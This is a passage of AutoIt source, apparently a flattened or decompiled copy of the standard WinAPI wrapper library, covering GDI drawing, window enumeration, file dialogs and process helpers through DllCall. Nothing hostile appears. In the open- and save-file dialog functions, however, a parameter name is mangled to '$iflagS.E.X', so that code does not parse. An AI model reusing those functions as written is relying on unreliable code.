$ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect, "int", $iwidthellipse, "int", $iheightellipse) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight, $brgb = 1) Local $hdc = _winapi_getdc($hwnd) Local $hdestdc = _winapi_createcompatibledc($hdc) Local $hbitmap = _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight) Local $hold = _winapi_selectobject($hdestdc, $hbitmap) Local $trect = DllStructCreate($tagrect) DllStructSetData($trect, 1, 0) DllStructSetData($trect, 2, 0) DllStructSetData($trect, 3, $iwidth) DllStructSetData($trect, 4, $iheight) If $brgb Then $icolor = BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor, 255), -16), BitShift(BitAND($icolor, 16711680), 16)) EndIf Local $hbrush = _winapi_createsolidbrush($icolor) _winapi_fillrect($hdestdc, $trect, $hbrush) If @error Then _winapi_deleteobject($hbitmap) $hbitmap = 0 EndIf _winapi_deleteobject($hbrush) _winapi_releasedc($hwnd, $hdc) _winapi_selectobject($hdestdc, $hold) _winapi_deletedc($hdestdc) If NOT $hbitmap Then Return SetError(1, 0, 0) Return $hbitmap EndFunc Func _winapi_createsolidbrush($ncolor) Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "dword", $ncolor) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createwindowex($iexstyle, $sclass, $sname, $istyle, $ix, $iy, $iwidth, $iheight, $hparent, $hmenu = 0, $hinstance = 0, $pparam = 0) If $hinstance = 0 Then $hinstance = _winapi_getmodulehandle("") Local $aresult = DllCall("user32.dll", "hwnd", "CreateWindowExW", "dword", $iexstyle, "wstr", $sclass, "wstr", $sname, "dword", $istyle, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "hwnd", $hparent, "handle", $hmenu, "handle", $hinstance, "ptr", $pparam) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_defwindowproc($hwnd, $imsg, $iwparam, $ilparam) Local $aresult = DllCall("user32.dll", "lresult", "DefWindowProc", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_deletedc($hdc) Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_deleteobject($hobject) Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_destroyicon($hicon) Local $aresult = DllCall("user32.dll", "bool", "DestroyIcon", "handle", $hicon) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_destroywindow($hwnd) Local $aresult = DllCall("user32.dll", "bool", "DestroyWindow", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_drawedge($hdc, $ptrrect, $nedgetype, $grfflags) Local $aresult = DllCall("user32.dll", "bool", "DrawEdge", "handle", $hdc, "ptr", $ptrrect, "uint", $nedgetype, "uint", $grfflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_drawframecontrol($hdc, $ptrrect, $ntype, $nstate) Local $aresult = DllCall("user32.dll", "bool", "DrawFrameControl", "handle", $hdc, "ptr", $ptrrect, "uint", $ntype, "uint", $nstate) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_drawicon($hdc, $ix, $iy, $hicon) Local $aresult = DllCall("user32.dll", "bool", "DrawIcon", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_drawiconex($hdc, $ix, $iy, $hicon, $iwidth = 0, $iheight = 0, $istep = 0, $hbrush = 0, $iflags = 3) Local $ioptions Switch $iflags Case 1 $ioptions = $__winapiconstant_di_mask Case 2 $ioptions = $__winapiconstant_di_image Case 3 $ioptions = $__winapiconstant_di_normal Case 4 $ioptions = $__winapiconstant_di_compat Case 5 $ioptions = $__winapiconstant_di_defaultsize Case Else $ioptions = $__winapiconstant_di_nomirror EndSwitch Local $aresult = DllCall("user32.dll", "bool", "DrawIconEx", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon, "int", $iwidth, "int", $iheight, "uint", $istep, "handle", $hbrush, "uint", $ioptions) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_drawline($hdc, $ix1, $iy1, $ix2, $iy2) _winapi_moveto($hdc, $ix1, $iy1) If @error Then Return SetError(@error, @extended, False) _winapi_lineto($hdc, $ix2, $iy2) If @error Then Return SetError(@error, @extended, False) Return True EndFunc Func _winapi_drawtext($hdc, $stext, ByRef $trect, $iflags) Local $aresult = DllCall("user32.dll", "int", "DrawTextW", "handle", $hdc, "wstr", $stext, "int", -1, "struct*", $trect, "uint", $iflags) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_duplicatehandle($hsourceprocesshandle, $hsourcehandle, $htargetprocesshandle, $idesiredaccess, $finherithandle, $ioptions) Local $acall = DllCall("kernel32.dll", "bool", "DuplicateHandle", "handle", $hsourceprocesshandle, "handle", $hsourcehandle, "handle", $htargetprocesshandle, "handle*", 0, "dword", $idesiredaccess, "bool", $finherithandle, "dword", $ioptions) If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0) Return $acall[4] EndFunc Func _winapi_enablewindow($hwnd, $fenable = True) Local $aresult = DllCall("user32.dll", "bool", "EnableWindow", "hwnd", $hwnd, "bool", $fenable) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_enumdisplaydevices($sdevice, $idevnum) Local $tname = 0, $iflags = 0, $adevice[5] If $sdevice <> "" Then $tname = DllStructCreate("wchar Text[" & StringLen($sdevice) + 1 & "]") DllStructSetData($tname, "Text", $sdevice) EndIf Local $tdevice = DllStructCreate($tagdisplay_device) Local $idevice = DllStructGetSize($tdevice) DllStructSetData($tdevice, "Size", $idevice) DllCall("user32.dll", "bool", "EnumDisplayDevicesW", "struct*", $tname, "dword", $idevnum, "struct*", $tdevice, "dword", 1) If @error Then Return SetError(@error, @extended, 0) Local $in = DllStructGetData($tdevice, "Flags") If BitAND($in, $__winapiconstant_display_device_attached_to_desktop) <> 0 Then $iflags = BitOR($iflags, 1) If BitAND($in, $__winapiconstant_display_device_primary_device) <> 0 Then $iflags = BitOR($iflags, 2) If BitAND($in, $__winapiconstant_display_device_mirroring_driver) <> 0 Then $iflags = BitOR($iflags, 4) If BitAND($in, $__winapiconstant_display_device_vga_compatible) <> 0 Then $iflags = BitOR($iflags, 8) If BitAND($in, $__winapiconstant_display_device_removable) <> 0 Then $iflags = BitOR($iflags, 16) If BitAND($in, $__winapiconstant_display_device_modespruned) <> 0 Then $iflags = BitOR($iflags, 32) $adevice[0] = True $adevice[1] = DllStructGetData($tdevice, "Name") $adevice[2] = DllStructGetData($tdevice, "String") $adevice[3] = $iflags $adevice[4] = DllStructGetData($tdevice, "ID") Return $adevice EndFunc Func _winapi_enumwindows($fvisible = True, $hwnd = Default) __winapi_enumwindowsinit() If $hwnd = Default Then $hwnd = _winapi_getdesktopwindow() __winapi_enumwindowschild($hwnd, $fvisible) Return $__gawinlist_winapi EndFunc Func __winapi_enumwindowsadd($hwnd, $sclass = "") If $sclass = "" Then $sclass = _winapi_getclassname($hwnd) $__gawinlist_winapi[0][0] += 1 Local $icount = $__gawinlist_winapi[0][0] If $icount >= $__gawinlist_winapi[0][1] Then ReDim $__gawinlist_winapi[$icount + 64][2] $__gawinlist_winapi[0][1] += 64 EndIf $__gawinlist_winapi[$icount][0] = $hwnd $__gawinlist_winapi[$icount][1] = $sclass EndFunc Func __winapi_enumwindowschild($hwnd, $fvisible = True) $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_child) While $hwnd <> 0 If (NOT $fvisible) OR _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowschild($hwnd, $fvisible) __winapi_enumwindowsadd($hwnd) EndIf $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext) WEnd EndFunc Func __winapi_enumwindowsinit() ReDim $__gawinlist_winapi[64][2] $__gawinlist_winapi[0][0] = 0 $__gawinlist_winapi[0][1] = 64 EndFunc Func _winapi_enumwindowspopup() __winapi_enumwindowsinit() Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child) Local $sclass While $hwnd <> 0 If _winapi_iswindowvisible($hwnd) Then $sclass = _winapi_getclassname($hwnd) If $sclass = "#32768" Then __winapi_enumwindowsadd($hwnd) ElseIf $sclass = "ToolbarWindow32" Then __winapi_enumwindowsadd($hwnd) ElseIf $sclass = "ToolTips_Class32" Then __winapi_enumwindowsadd($hwnd) ElseIf $sclass = "BaseBar" Then __winapi_enumwindowschild($hwnd) EndIf EndIf $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext) WEnd Return $__gawinlist_winapi EndFunc Func _winapi_enumwindowstop() __winapi_enumwindowsinit() Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child) While $hwnd <> 0 If _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowsadd($hwnd) $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext) WEnd Return $__gawinlist_winapi EndFunc Func _winapi_expandenvironmentstrings($sstring) Local $aresult = DllCall("kernel32.dll", "dword", "ExpandEnvironmentStringsW", "wstr", $sstring, "wstr", "", "dword", 4096) If @error Then Return SetError(@error, @extended, "") Return $aresult[2] EndFunc Func _winapi_extracticonex($sfile, $iindex, $plarge, $psmall, $iicons) Local $aresult = DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr", $sfile, "int", $iindex, "struct*", $plarge, "struct*", $psmall, "uint", $iicons) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_fatalappexit($smessage) DllCall("kernel32.dll", "none", "FatalAppExitW", "uint", 0, "wstr", $smessage) If @error Then Return SetError(@error, @extended) EndFunc Func _winapi_fillrect($hdc, $ptrrect, $hbrush) Local $aresult If IsPtr($hbrush) Then $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $ptrrect, "handle", $hbrush) Else $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $ptrrect, "dword_ptr", $hbrush) EndIf If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_findexecutable($sfilename, $sdirectory = "") Local $aresult = DllCall("shell32.dll", "INT", "FindExecutableW", "wstr", $sfilename, "wstr", $sdirectory, "wstr", "") If @error Then Return SetError(@error, @extended, 0) Return SetExtended($aresult[0], $aresult[3]) EndFunc Func _winapi_findwindow($sclassname, $swindowname) Local $aresult = DllCall("user32.dll", "hwnd", "FindWindowW", "wstr", $sclassname, "wstr", $swindowname) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_flashwindow($hwnd, $finvert = True) Local $aresult = DllCall("user32.dll", "bool", "FlashWindow", "hwnd", $hwnd, "bool", $finvert) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_flashwindowex($hwnd, $iflags = 3, $icount = 3, $itimeout = 0) Local $tflash = DllStructCreate($tagflashwinfo) Local $iflash = DllStructGetSize($tflash) Local $imode = 0 If BitAND($iflags, 1) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_caption) If BitAND($iflags, 2) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_tray) If BitAND($iflags, 4) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timer) If BitAND($iflags, 8) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timernofg) DllStructSetData($tflash, "Size", $iflash) DllStructSetData($tflash, "hWnd", $hwnd) DllStructSetData($tflash, "Flags", $imode) DllStructSetData($tflash, "Count", $icount) DllStructSetData($tflash, "Timeout", $itimeout) Local $aresult = DllCall("user32.dll", "bool", "FlashWindowEx", "struct*", $tflash) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_floattoint($nfloat) Local $tfloat = DllStructCreate("float") Local $tint = DllStructCreate("int", DllStructGetPtr($tfloat)) DllStructSetData($tfloat, 1, $nfloat) Return DllStructGetData($tint, 1) EndFunc Func _winapi_flushfilebuffers($hfile) Local $aresult = DllCall("kernel32.dll", "bool", "FlushFileBuffers", "handle", $hfile) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_formatmessage($iflags, $psource, $imessageid, $ilanguageid, ByRef $pbuffer, $isize, $varguments) Local $sbuffertype = "struct*" If IsString($pbuffer) Then $sbuffertype = "wstr" Local $aresult = DllCall("Kernel32.dll", "dword", "FormatMessageW", "dword", $iflags, "ptr", $psource, "dword", $imessageid, "dword", $ilanguageid, $sbuffertype, $pbuffer, "dword", $isize, "ptr", $varguments) If @error Then Return SetError(@error, @extended, 0) If $sbuffertype = "wstr" Then $pbuffer = $aresult[5] Return $aresult[0] EndFunc Func _winapi_framerect($hdc, $ptrrect, $hbrush) Local $aresult = DllCall("user32.dll", "int", "FrameRect", "handle", $hdc, "ptr", $ptrrect, "handle", $hbrush) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_freelibrary($hmodule) Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_getancestor($hwnd, $iflags = 1) Local $aresult = DllCall("user32.dll", "hwnd", "GetAncestor", "hwnd", $hwnd, "uint", $iflags) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getasynckeystate($ikey) Local $aresult = DllCall("user32.dll", "short", "GetAsyncKeyState", "int", $ikey) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getbkmode($hdc) Local $aresult = DllCall("gdi32.dll", "int", "GetBkMode", "handle", $hdc) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getclassname($hwnd) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096) If @error Then Return SetError(@error, @extended, False) Return SetExtended($aresult[0], $aresult[2]) EndFunc Func _winapi_getclientheight($hwnd) Local $trect = _winapi_getclientrect($hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top") EndFunc Func _winapi_getclientwidth($hwnd) Local $trect = _winapi_getclientrect($hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left") EndFunc Func _winapi_getclientrect($hwnd) Local $trect = DllStructCreate($tagrect) DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "struct*", $trect) If @error Then Return SetError(@error, @extended, 0) Return $trect EndFunc Func _winapi_getcurrentprocess() Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentProcess") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getcurrentprocessid() Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentProcessId") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getcurrentthread() Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getcurrentthreadid() Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentThreadId") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getcursorinfo() Local $tcursor = DllStructCreate($tagcursorinfo) Local $icursor = DllStructGetSize($tcursor) DllStructSetData($tcursor, "Size", $icursor) DllCall("user32.dll", "bool", "GetCursorInfo", "struct*", $tcursor) If @error Then Return SetError(@error, @extended, 0) Local $acursor[5] $acursor[0] = True $acursor[1] = DllStructGetData($tcursor, "Flags") <> 0 $acursor[2] = DllStructGetData($tcursor, "hCursor") $acursor[3] = DllStructGetData($tcursor, "X") $acursor[4] = DllStructGetData($tcursor, "Y") Return $acursor EndFunc Func _winapi_getdc($hwnd) Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getdesktopwindow() Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getdevicecaps($hdc, $iindex) Local $aresult = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle", $hdc, "int", $iindex) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbi, $iusage) Local $aresult = DllCall("gdi32.dll", "int", "GetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbi, "uint", $iusage) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_getdlgctrlid($hwnd) Local $aresult = DllCall("user32.dll", "int", "GetDlgCtrlID", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getdlgitem($hwnd, $iitemid) Local $aresult = DllCall("user32.dll", "hwnd", "GetDlgItem", "hwnd", $hwnd, "int", $iitemid) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getfocus() Local $aresult = DllCall("user32.dll", "hwnd", "GetFocus") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getforegroundwindow() Local $aresult = DllCall("user32.dll", "hwnd", "GetForegroundWindow") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getguiresources($iflag = 0, $hprocess = -1) If $hprocess = -1 Then $hprocess = _winapi_getcurrentprocess() Local $aresult = DllCall("user32.dll", "dword", "GetGuiResources", "handle", $hprocess, "dword", $iflag) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_geticoninfo($hicon) Local $tinfo = DllStructCreate($tagiconinfo) DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $tinfo) If @error Then Return SetError(@error, @extended, 0) Local $aicon[6] $aicon[0] = True $aicon[1] = DllStructGetData($tinfo, "Icon") <> 0 $aicon[2] = DllStructGetData($tinfo, "XHotSpot") $aicon[3] = DllStructGetData($tinfo, "YHotSpot") $aicon[4] = DllStructGetData($tinfo, "hMask") $aicon[5] = DllStructGetData($tinfo, "hColor") Return $aicon EndFunc Func _winapi_getfilesizeex($hfile) Local $aresult = DllCall("kernel32.dll", "bool", "GetFileSizeEx", "handle", $hfile, "int64*", 0) If @error Then Return SetError(@error, @extended, 0) Return $aresult[2] EndFunc Func _winapi_getlasterrormessage() Local $tbufferptr = DllStructCreate("ptr") Local $ncount = _winapi_formatmessage(BitOR($__winapiconstant_format_message_allocate_buffer, $__winapiconstant_format_message_from_system), 0, _winapi_getlasterror(), 0, $tbufferptr, 0, 0) If @error Then Return SetError(@error, 0, "") Local $stext = "" Local $pbuffer = DllStructGetData($tbufferptr, 1) If $pbuffer Then If $ncount > 0 Then Local $tbuffer = DllStructCreate("wchar[" & ($ncount + 1) & "]", $pbuffer) $stext = DllStructGetData($tbuffer, 1) EndIf _winapi_localfree($pbuffer) EndIf Return $stext EndFunc Func _winapi_getlayeredwindowattributes($hwnd, ByRef $i_transcolor, ByRef $transparency, $ascolorref = False) $i_transcolor = -1 $transparency = -1 Local $aresult = DllCall("user32.dll", "bool", "GetLayeredWindowAttributes", "hwnd", $hwnd, "dword*", $i_transcolor, "byte*", $transparency, "dword*", 0) If @error Then Return SetError(@error, @extended, 0) If NOT $ascolorref Then $aresult[2] = Int(BinaryMid($aresult[2], 3, 1) & BinaryMid($aresult[2], 2, 1) & BinaryMid($aresult[2], 1, 1)) EndIf $i_transcolor = $aresult[2] $transparency = $aresult[3] Return $aresult[4] EndFunc Func _winapi_getmodulehandle($smodulename) Local $smodulenametype = "wstr" If $smodulename = "" Then $smodulename = 0 $smodulenametype = "ptr" EndIf Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getmousepos($ftoclient = False, $hwnd = 0) Local $imode = Opt("MouseCoordMode", 1) Local $apos = MouseGetPos() Opt("MouseCoordMode", $imode) Local $tpoint = DllStructCreate($tagpoint) DllStructSetData($tpoint, "X", $apos[0]) DllStructSetData($tpoint, "Y", $apos[1]) If $ftoclient Then _winapi_screentoclient($hwnd, $tpoint) If @error Then Return SetError(@error, @extended, 0) EndIf Return $tpoint EndFunc Func _winapi_getmouseposx($ftoclient = False, $hwnd = 0) Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($tpoint, "X") EndFunc Func _winapi_getmouseposy($ftoclient = False, $hwnd = 0) Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($tpoint, "Y") EndFunc Func _winapi_getobject($hobject, $isize, $pobject) Local $aresult = DllCall("gdi32.dll", "int", "GetObjectW", "handle", $hobject, "int", $isize, "ptr", $pobject) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getopenfilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagS.E.X = 0, $hwndowner = 0) Local $ipathlen = 4096 Local $inulls = 0 Local $tofn = DllStructCreate($tagopenfilename) Local $afiles[1] = [0] Local $iflag = $iflags Local $asflines = StringSplit($sfilter, "|") Local $asfilter[$asflines[0] * 2 + 1] Local $istart, $ifinal, $stfilter $asfilter[0] = $asflines[0] * 2 For $i = 1 To $asflines[0] $istart = StringInStr($asflines[$i], "(", 0, 1) $ifinal = StringInStr($asflines[$i], ")", 0, -1) $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3) $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3) $stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];" Next Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]") Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]") Local $tfilter = DllStructCreate($stfilter & "wchar") Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]") Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]") For $i = 1 To $asfilter[0] DllStructSetData($tfilter, $i, $asfilter[$i]) Next DllStructSetData($ttitle, "Title", $stitle) DllStructSetData($tinitialdir, "InitDir", $sinitaldir) DllStructSetData($tpath, "Path", $sdefaultfile) DllStructSetData($textn, "Extension", $sdefaultext) DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn)) DllStructSetData($tofn, "hwndOwner", $hwndowner) DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter)) DllStructSetData($tofn, "nFilterIndex", $ifilterindex) DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath)) DllStructSetData($tofn, "nMaxFile", $ipathlen) DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir)) DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle)) DllStructSetData($tofn, "Flags", $iflag) DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn)) DllStructSetData($tofn, "FlagsEx", $iflagS.E.X) DllCall("comdlg32.dll", "bool", "GetOpenFileNameW", "struct*", $tofn) If @error Then Return SetError(@error, @extended, $afiles) If BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect AND BitAND($iflags, $ofn_explorer) = $ofn_explorer Then For $x = 1 To $ipathlen If DllStructGetData($tpath, "Path", $x) = Chr(0) Then DllStructSetData($tpath, "Path", "|", $x) $inulls += 1 Else $inulls = 0 EndIf If $inulls = 2 Then ExitLoop Next DllStructSetData($tpath, "Path", Chr(0), $x - 1) $afiles = StringSplit(DllStructGetData($tpath, "Path"), "|") If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path")) Return StringSplit(DllStructGetData($tpath, "Path"), "|") ElseIf BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect Then $afiles = StringSplit(DllStructGetData($tpath, "Path"), " ") If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path")) Return StringSplit(StringReplace(DllStructGetData($tpath, "Path"), " ", "|"), "|") Else Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path")) EndIf EndFunc Func _winapi_getoverlappedresult($hfile, $poverlapped, ByRef $ibytes, $fwait = False) Local $aresult = DllCall("kernel32.dll", "bool", "GetOverlappedResult", "handle", $hfile, "ptr", $poverlapped, "dword*", 0, "bool", $fwait) If @error Then Return SetError(@error, @extended, False) $ibytes = $aresult[3] Return $aresult[0] EndFunc Func _winapi_getparent($hwnd) Local $aresult = DllCall("user32.dll", "hwnd", "GetParent", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getprocessaffinitymask($hprocess) Local $aresult = DllCall("kernel32.dll", "bool", "GetProcessAffinityMask", "handle", $hprocess, "dword_ptr*", 0, "dword_ptr*", 0) If @error Then Return SetError(@error, @extended, 0) Local $amask[3] $amask[0] = True $amask[1] = $aresult[2] $amask[2] = $aresult[3] Return $amask EndFunc Func _winapi_getsavefilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagS.E.X = 0, $hwndowner = 0) Local $ipathlen = 4096 Local $tofn = DllStructCreate($tagopenfilename) Local $afiles[1] = [0] Local $iflag = $iflags Local $asflines = StringSplit($sfilter, "|") Local $asfilter[$asflines[0] * 2 + 1] Local $istart, $ifinal, $stfilter $asfilter[0] = $asflines[0] * 2 For $i = 1 To $asflines[0] $istart = StringInStr($asflines[$i], "(", 0, 1) $ifinal = StringInStr($asflines[$i], ")", 0, -1) $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3) $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3) $stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];" Next Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]") Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]") Local $tfilter = DllStructCreate($stfilter & "wchar") Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]") Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]") For $i = 1 To $asfilter[0] DllStructSetData($tfilter, $i, $asfilter[$i]) Next DllStructSetData($ttitle, "Title", $stitle) DllStructSetData($tinitialdir, "InitDir", $sinitaldir) DllStructSetData($tpath, "Path", $sdefaultfile) DllStructSetData($textn, "Extension", $sdefaultext) DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn)) DllStructSetData($tofn, "hwndOwner", $hwndowner) DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter)) DllStructSetData($tofn, "nFilterIndex", $ifilterindex) DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath)) DllStructSetData($tofn, "nMaxFile", $ipathlen) DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir)) DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle)) DllStructSetData($tofn, "Flags", $iflag) DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn)) DllStructSetData($tofn, "FlagsEx", $iflagS.E.X) DllCall("comdlg32.dll", "bool", "GetSaveFileNameW", "struct*", $tofn) If @error Then Return SetError(@error, @extended, $afiles) Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path")) EndFunc Func _winapi_getstockobject($iobject) Local $aresult = DllCall("gdi32.dll", "handle", "GetStockObject", "int", $iobject) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getstdhandle($istdhandle) If $istdhandle < 0 OR $istdhandle > 2 Then Return SetError(2, 0, -1) Local Const $ahandle[3] = [-10, -11, -12] Local $aresult = DllCall("kernel32.dll", "handle", "GetStdHandle", "dword", $ahandle[$istdhandle]) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_getsyscolor($iindex) Local $aresult = DllCall("user32.dll", "dword", "GetSysColor", "int", $iindex) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getsyscolorbrush($iindex) Local $aresult = DllCall("user32.dll", "handle", "GetSysColorBrush", "int", $iindex) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getsystemmetrics($iindex) Local $aresult = DllCall("user32.dll", "int", 